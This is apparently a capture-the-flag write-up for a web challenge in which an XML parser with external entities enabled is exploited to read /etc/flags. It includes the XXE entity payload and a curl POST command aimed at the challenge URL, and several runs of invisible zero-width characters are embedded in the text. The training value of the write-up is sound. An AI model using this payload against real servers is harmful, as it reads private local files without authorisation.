XXE read

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: external_entity_injection, xxe_file_read

Summary

Walkthrough of the CUSTOM Web XXE read. Task WEB_d241 from advanced category. The web application accepts XML data and parses it. The goal is to exploit an XXE (XML External Entity) vulnerability to read local files.

Description

Task WEB_d241 from advanced category. The web application accepts XML data and parses it. The goal is to exploit an XXE (XML External Entity) vulnerability to read local files.

URL: http://kslweb3.spb.ctf.su/2-4/

Analysis

The application accepts XML data via POST request and processes it. The XML parser is configured insecurely — external entity processing is enabled. This allows defining a SYSTEM entity that reads local server files.

Key indicators of XXE vulnerability:

• Application accepts XML input
• Parser processes DOCTYPE declarations
• SYSTEM entities are allowed ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Crafting the XXE payload

Create an XML with an external entity that reads the /etc/flags file:

 xml read-only • copy allowed Copy
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/flags">
]>
<root>&xxe;</root>

Step 2: Sending the payload

Send the XML via POST request:

 bash read-only • copy allowed Copy
curl -X POST http://kslweb3.spb.ctf.su/2-4/ \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/flags">]><root>&xxe;</root>'

Step 3: Obtaining the flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server processes the XML, substitutes the contents of /etc/flags in place of &xxe; and returns it in the response. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering external_entity_injection, xxe_file_read was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • XXE read • Difficulty: Medium